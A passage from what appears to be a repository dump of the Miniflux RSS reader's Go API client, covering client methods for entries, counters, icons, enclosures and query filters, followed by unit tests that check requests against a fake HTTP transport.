entry to a third-party service.\nfunc (c *Client) SaveEntry(entryID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.SaveEntryContext(ctx, entryID)\n}\n\n// SaveEntryContext sends an entry to a third-party service.\nfunc (c *Client) SaveEntryContext(ctx context.Context, entryID int64) error {\n\t_, err := c.request.Post(ctx, fmt.Sprintf(\"/v1/entries/%d/save\", entryID), nil)\n\treturn err\n}\n\n// FetchEntryOriginalContent fetches the original content of an entry using the scraper.\nfunc (c *Client) FetchEntryOriginalContent(entryID int64) (string, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.FetchEntryOriginalContentContext(ctx, entryID)\n}\n\n// FetchEntryOriginalContentContext fetches the original content of an entry using the scraper.\nfunc (c *Client) FetchEntryOriginalContentContext(ctx context.Context, entryID int64) (string, error) {\n\tbody, err := c.request.Get(ctx, fmt.Sprintf(\"/v1/entries/%d/fetch-content\", entryID))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer body.Close()\n\n\tvar response struct {\n\t\tContent string `json:\"content\"`\n\t}\n\n\tif err := json.NewDecoder(body).Decode(&response); err != nil {\n\t\treturn \"\", fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn response.Content, nil\n}\n\n// FetchCounters fetches feed counters.\nfunc (c *Client) FetchCounters() (*FeedCounters, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.FetchCountersContext(ctx)\n}\n\n// FetchCountersContext fetches feed counters.\nfunc (c *Client) FetchCountersContext(ctx context.Context) (*FeedCounters, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/feeds/counters\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar result FeedCounters\n\tif err := json.NewDecoder(body).Decode(&result); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn &result, nil\n}\n\n// FlushHistory changes all entries with the status \"read\" to \"removed\".\nfunc (c *Client) FlushHistory() error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.FlushHistoryContext(ctx)\n}\n\n// FlushHistoryContext changes all entries with the status \"read\" to \"removed\".\nfunc (c *Client) FlushHistoryContext(ctx context.Context) error {\n\t_, err := c.request.Put(ctx, \"/v1/flush-history\", nil)\n\treturn err\n}\n\n// Icon fetches a feed icon.\nfunc (c *Client) Icon(iconID int64) (*FeedIcon, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.IconContext(ctx, iconID)\n}\n\n// IconContext fetches a feed icon.\nfunc (c *Client) IconContext(ctx context.Context, iconID int64) (*FeedIcon, error) {\n\tbody, err := c.request.Get(ctx, fmt.Sprintf(\"/v1/icons/%d\", iconID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar feedIcon *FeedIcon\n\tif err := json.NewDecoder(body).Decode(&feedIcon); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn feedIcon, nil\n}\n\n// Enclosure fetches a specific enclosure.\nfunc (c *Client) Enclosure(enclosureID int64) (*Enclosure, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.EnclosureContext(ctx, enclosureID)\n}\n\n// EnclosureContext fetches a specific enclosure.\nfunc (c *Client) EnclosureContext(ctx context.Context, enclosureID int64) (*Enclosure, error) {\n\tbody, err := c.request.Get(ctx, fmt.Sprintf(\"/v1/enclosures/%d\", enclosureID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar enclosure *Enclosure\n\tif err := json.NewDecoder(body).Decode(&enclosure); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error(%v)\", err)\n\t}\n\n\treturn enclosure, nil\n}\n\n// UpdateEnclosure updates an enclosure.\nfunc (c *Client) UpdateEnclosure(enclosureID int64, enclosureUpdate *EnclosureUpdateRequest) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.UpdateEnclosureContext(ctx, enclosureID, enclosureUpdate)\n}\n\n// UpdateEnclosureContext updates an enclosure.\nfunc (c *Client) UpdateEnclosureContext(ctx context.Context, enclosureID int64, enclosureUpdate *EnclosureUpdateRequest) error {\n\t_, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/enclosures/%d\", enclosureID), enclosureUpdate)\n\treturn err\n}\n\nfunc buildFilterQueryString(path string, filter *Filter) string {\n\tif filter != nil {\n\t\tvalues := url.Values{}\n\n\t\tif filter.Status != \"\" {\n\t\t\tvalues.Set(\"status\", filter.Status)\n\t\t}\n\n\t\tif filter.Direction != \"\" {\n\t\t\tvalues.Set(\"direction\", filter.Direction)\n\t\t}\n\n\t\tif filter.Order != \"\" {\n\t\t\tvalues.Set(\"order\", filter.Order)\n\t\t}\n\n\t\tif filter.Limit >= 0 {\n\t\t\tvalues.Set(\"limit\", strconv.Itoa(filter.Limit))\n\t\t}\n\n\t\tif filter.Offset >= 0 {\n\t\t\tvalues.Set(\"offset\", strconv.Itoa(filter.Offset))\n\t\t}\n\n\t\tif filter.After > 0 {\n\t\t\tvalues.Set(\"after\", strconv.FormatInt(filter.After, 10))\n\t\t}\n\n\t\tif filter.Before > 0 {\n\t\t\tvalues.Set(\"before\", strconv.FormatInt(filter.Before, 10))\n\t\t}\n\n\t\tif filter.PublishedAfter > 0 {\n\t\t\tvalues.Set(\"published_after\", strconv.FormatInt(filter.PublishedAfter, 10))\n\t\t}\n\n\t\tif filter.PublishedBefore > 0 {\n\t\t\tvalues.Set(\"published_before\", strconv.FormatInt(filter.PublishedBefore, 10))\n\t\t}\n\n\t\tif filter.ChangedAfter > 0 {\n\t\t\tvalues.Set(\"changed_after\", strconv.FormatInt(filter.ChangedAfter, 10))\n\t\t}\n\n\t\tif filter.ChangedBefore > 0 {\n\t\t\tvalues.Set(\"changed_before\", strconv.FormatInt(filter.ChangedBefore, 10))\n\t\t}\n\n\t\tif filter.AfterEntryID > 0 {\n\t\t\tvalues.Set(\"after_entry_id\", strconv.FormatInt(filter.AfterEntryID, 10))\n\t\t}\n\n\t\tif filter.BeforeEntryID > 0 {\n\t\t\tvalues.Set(\"before_entry_id\", strconv.FormatInt(filter.BeforeEntryID, 10))\n\t\t}\n\n\t\tif filter.Starred != \"\" {\n\t\t\tvalues.Set(\"starred\", filter.Starred)\n\t\t}\n\n\t\tif filter.Search != \"\" {\n\t\t\tvalues.Set(\"search\", filter.Search)\n\t\t}\n\n\t\tif filter.CategoryID > 0 {\n\t\t\tvalues.Set(\"category_id\", strconv.FormatInt(filter.CategoryID, 10))\n\t\t}\n\n\t\tif filter.FeedID > 0 {\n\t\t\tvalues.Set(\"feed_id\", strconv.FormatInt(filter.FeedID, 10))\n\t\t}\n\n\t\tif filter.GloballyVisible {\n\t\t\tvalues.Set(\"globally_visible\", \"true\")\n\t\t}\n\n\t\tfor _, status := range filter.Statuses {\n\t\t\tvalues.Add(\"status\", status)\n\t\t}\n\n\t\tpath = fmt.Sprintf(\"%s?%s\", path, values.Encode())\n\t}\n\n\treturn path\n}\n"
  },
  {
    "path": "client/client_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage client\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"io\"\n\t\"net/http\"\n\t\"reflect\"\n\t\"testing\"\n\t\"time\"\n)\n\ntype roundTripperFunc func(req *http.Request) (*http.Response, error)\n\nfunc (fn roundTripperFunc) RoundTrip(req *http.Request) (*http.Response, error) {\n\treturn fn(req)\n}\n\nfunc newFakeHTTPClient(\n\tt *testing.T,\n\tfn func(t *testing.T, req *http.Request) *http.Response,\n) *http.Client {\n\treturn &http.Client{\n\t\tTransport: roundTripperFunc(\n\t\t\tfunc(req *http.Request) (*http.Response, error) {\n\t\t\t\treturn fn(t, req), nil\n\t\t\t}),\n\t}\n}\n\nfunc jsonResponseFrom(\n\tt *testing.T,\n\tstatus int,\n\theaders http.Header,\n\tbody any,\n) *http.Response {\n\tdata, err := json.Marshal(body)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to marshal body: %v\", err)\n\t}\n\n\treturn &http.Response{\n\t\tStatusCode: status,\n\t\tBody:       io.NopCloser(bytes.NewBuffer(data)),\n\t\tHeader:     headers,\n\t}\n}\n\nfunc asJSON(data any) string {\n\tjson, err := json.MarshalIndent(data, \"\", \"  \")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn string(json)\n}\n\nfunc expectRequest(\n\tt *testing.T,\n\tmethod string,\n\turl string,\n\tcheckBody func(r io.Reader),\n\treq *http.Request,\n) {\n\tif req.Method != method {\n\t\tt.Fatalf(\"Expected method to be %s, got %s\", method, req.Method)\n\t}\n\n\tif req.URL.String() != url {\n\t\tt.Fatalf(\"Expected URL path to be %s, got %s\", url, req.URL)\n\t}\n\n\tif checkBody != nil {\n\t\tcheckBody(req.Body)\n\t}\n}\n\nfunc expectFromJSON[T any](\n\tt *testing.T,\n\tr io.Reader,\n\texpected *T,\n) {\n\tvar got T\n\tif err := json.NewDecoder(r).Decode(&got); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\n\tif !reflect.DeepEqual(&got, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(got))\n\t}\n}\n\nfunc TestHealthcheck(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/healthcheck\", nil, req)\n\t\t\t\treturn &http.Response{\n\t\t\t\t\tStatusCode: http.StatusOK,\n\t\t\t\t\tBody:       io.NopCloser(bytes.NewBufferString(\"OK\")),\n\t\t\t\t}\n\t\t\t})))\n\tif err := client.HealthcheckContext(t.Context()); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestVersion(t *testing.T) {\n\texpected := &VersionResponse{\n\t\tVersion:   \"1.0.0\",\n\t\tCommit:    \"1234567890\",\n\t\tBuildDate: \"2021-01-01T00:00:00Z\",\n\t\tGoVersion: \"go1.20\",\n\t\tCompiler:  \"gc\",\n\t\tArch:      \"amd64\",\n\t\tOS:        \"linux\",\n\t}\n\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/version\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.VersionContext(t.Context())\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestMe(t *testing.T) {\n\texpected := &User{\n\t\tID:                        1,\n\t\tUsername:                  \"test\",\n\t\tPassword:                  \"password\",\n\t\tIsAdmin:                   false,\n\t\tTheme:                     \"light\",\n\t\tLanguage:                  \"en\",\n\t\tTimezone:                  \"UTC\",\n\t\tEntryDirection:            \"asc\",\n\t\tEntryOrder:                \"created_at\",\n\t\tStylesheet:                \"default\",\n\t\tCustomJS:                  \"custom.js\",\n\t\tGoogleID:                  \"google-id\",\n\t\tOpenIDConnectID:           \"openid-connect-id\",\n\t\tEntriesPerPage:            10,\n\t\tKeyboardShortcuts:         true,\n\t\tShowReadingTime:           true,\n\t\tEntrySwipe:                true,\n\t\tGestureNav:                \"horizontal\",\n\t\tDisplayMode:               \"read\",\n\t\tDefaultReadingSpeed:       1,\n\t\tCJKReadingSpeed:           1,\n\t\tDefaultHomePage:           \"home\",\n\t\tCategoriesSortingOrder:    \"asc\",\n\t\tMarkReadOnView:            true,\n\t\tMediaPlaybackRate:         1.0,\n\t\tBlockFilterEntryRules:     \"block\",\n\t\tKeepFilterEntryRules:      \"keep\",\n\t\tExternalFontHosts:         \"https://fonts.googleapis.com\",\n\t\tAlwaysOpenExternalLinks:   true,\n\t\tOpenExternalLinksInNewTab: true,\n\t}\n\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/me\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.MeContext(t.Context())\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestUsers(t *testing.T) {\n\texpected := Users{\n\t\t{\n\t\t\tID:       1,\n\t\t\tUsername: \"test1\",\n\t\t},\n\t\t{\n\t\t\tID:       2,\n\t\t\tUsername: \"test2\",\n\t\t},\n\t}\n\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/users\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.UsersContext(t.Context())\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestUserByID(t *testing.T) {\n\texpected := &User{\n\t\tID:       1,\n\t\tUsername: \"test\",\n\t}\n\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/users/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.UserByIDContext(t.Context(), 1)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestUserByUsername(t *testing.T) {\n\texpected := &User{\n\t\tID:       1,\n\t\tUsername: \"test\",\n\t}\n\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/users/test\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.UserByUsernameContext(t.Context(), \"test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestCreateUser(t *testing.T) {\n\texpected := &User{\n\t\tID:       1,\n\t\tUsername: \"test\",\n\t\tPassword: \"password\",\n\t\tIsAdmin:  true,\n\t}\n\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texp := UserCreationRequest{\n\t\t\t\t\tUsername: \"test\",\n\t\t\t\t\tPassword: \"password\",\n\t\t\t\t\tIsAdmin:  true,\n\t\t\t\t}\n\t\t\t\texpectRequest(\n\t\t\t\t\tt,\n\t\t\t\t\thttp.MethodPost,\n\t\t\t\t\t\"http://mf/v1/users\",\n\t\t\t\t\tfunc(r io.Reader) {\n\t\t\t\t\t\texpectFromJSON(t, r, &exp)\n\t\t\t\t\t},\n\t\t\t\t\treq)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.CreateUserContext(t.Context(), \"test\", \"password\", true)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestUpdateUser(t *testing.T) {\n\texpected := &User{\n\t\tID:       1,\n\t\tUsername: \"test\",\n\t\tPassword: \"password\",\n\t\tIsAdmin:  true,\n\t}\n\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/users/1\", func(r io.Reader) {\n\t\t\t\t\texpectFromJSON(t, r, &UserModificationRequest{\n\t\t\t\t\t\tUsername: &expected.Username,\n\t\t\t\t\t\tPassword: &expected.Password,\n\t\t\t\t\t})\n\t\t\t\t}, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.UpdateUserContext(t.Context(), 1, &UserModificationRequest{\n\t\tUsername: &expected.Username,\n\t\tPassword: &expected.Password,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestDeleteUser(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodDelete, \"http://mf/v1/users/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.DeleteUserContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestAPIKeys(t *testing.T) {\n\texpected := APIKeys{\n\t\t{\n\t\t\tID:          1,\n\t\t\tToken:       \"token\",\n\t\t\tDescription: \"test\",\n\t\t},\n\t\t{\n\t\t\tID:          2,\n\t\t\tToken:       \"token2\",\n\t\t\tDescription: \"test2\",\n\t\t},\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/api-keys\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.APIKeysContext(t.Context())\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestCreateAPIKey(t *testing.T) {\n\texpected := &APIKey{\n\t\tID:          42,\n\t\tToken:       \"some-token\",\n\t\tDescription: \"desc\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPost, \"http://mf/v1/api-keys\", func(r io.Reader) {\n\t\t\t\t\texpectFromJSON(t, r, &APIKeyCreationRequest{\n\t\t\t\t\t\tDescription: \"desc\",\n\t\t\t\t\t})\n\t\t\t\t}, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.CreateAPIKeyContext(t.Context(), \"desc\")\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestDeleteAPIKey(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodDelete, \"http://mf/v1/api-keys/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.DeleteAPIKeyContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestMarkAllAsRead(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/users/1/mark-all-as-read\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.MarkAllAsReadContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestIntegrationsStatus(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/integrations/status\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, struct {\n\t\t\t\t\tHasIntegrations bool `json:\"has_integrations\"`\n\t\t\t\t}{\n\t\t\t\t\tHasIntegrations: true,\n\t\t\t\t})\n\t\t\t})))\n\tstatus, err := client.IntegrationsStatusContext(t.Context())\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !status {\n\t\tt.Fatalf(\"Expected integrations status to be true, got false\")\n\t}\n}\n\nfunc TestDiscover(t *testing.T) {\n\texpected := Subscriptions{\n\t\t{\n\t\t\tURL:   \"http://example.com\",\n\t\t\tTitle: \"Example\",\n\t\t\tType:  \"rss\",\n\t\t},\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPost, \"http://mf/v1/discover\", func(r io.Reader) {\n\t\t\t\t\texpectFromJSON(t, r, &map[string]string{\"url\": \"http://example.com\"})\n\t\t\t\t}, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.DiscoverContext(t.Context(), \"http://example.com\")\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestCategories(t *testing.T) {\n\texpected := Categories{\n\t\t{\n\t\t\tID:    1,\n\t\t\tTitle: \"Example\",\n\t\t},\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/categories\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.CategoriesContext(t.Context())\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestCategoriesWithCounters(t *testing.T) {\n\tfeedCount := 1\n\ttotalUnread := 2\n\texpected := Categories{\n\t\t{\n\t\t\tID:          1,\n\t\t\tTitle:       \"Example\",\n\t\t\tFeedCount:   &feedCount,\n\t\t\tTotalUnread: &totalUnread,\n\t\t},\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/categories?counts=true\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.CategoriesWithCountersContext(t.Context())\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestCreateCategory(t *testing.T) {\n\texpected := &Category{\n\t\tID:    1,\n\t\tTitle: \"Example\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPost, \"http://mf/v1/categories\", func(r io.Reader) {\n\t\t\t\t\texpectFromJSON(t, r, &CategoryCreationRequest{\n\t\t\t\t\t\tTitle: \"Example\",\n\t\t\t\t\t})\n\t\t\t\t}, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.CreateCategoryContext(t.Context(), \"Example\")\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestCreateCategoryWithOptions(t *testing.T) {\n\texpected := &Category{\n\t\tID:           1,\n\t\tTitle:        \"Example\",\n\t\tHideGlobally: true,\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPost, \"http://mf/v1/categories\", func(r io.Reader) {\n\t\t\t\t\texpectFromJSON(t, r, &CategoryCreationRequest{\n\t\t\t\t\t\tTitle:        \"Example\",\n\t\t\t\t\t\tHideGlobally: true,\n\t\t\t\t\t})\n\t\t\t\t}, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.CreateCategoryWithOptionsContext(t.Context(), &CategoryCreationRequest{\n\t\tTitle:        \"Example\",\n\t\tHideGlobally: true,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestUpdateCategory(t *testing.T) {\n\texpected := &Category{\n\t\tID:    1,\n\t\tTitle: \"Example\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/categories/1\", func(r io.Reader) {\n\t\t\t\t\texpectFromJSON(t, r, &CategoryModificationRequest{\n\t\t\t\t\t\tTitle: &expected.Title,\n\t\t\t\t\t})\n\t\t\t\t}, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.UpdateCategoryContext(t.Context(), 1, \"Example\")\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestUpdateCategoryWithOptions(t *testing.T) {\n\texpected := &Category{\n\t\tID:           1,\n\t\tTitle:        \"Example\",\n\t\tHideGlobally: true,\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/categories/1\", func(r io.Reader) {\n\t\t\t\t\texpectFromJSON(t, r, &CategoryModificationRequest{\n\t\t\t\t\t\tTitle:        &expected.Title,\n\t\t\t\t\t\tHideGlobally: &expected.HideGlobally,\n\t\t\t\t\t})\n\t\t\t\t}, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.UpdateCategoryWithOptionsContext(t.Context(), 1, &CategoryModificationRequest{\n\t\tTitle:        &expected.Title,\n\t\tHideGlobally: &expected.HideGlobally,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestMarkCategoryAsRead(t *testing.T) {\n\tclient := 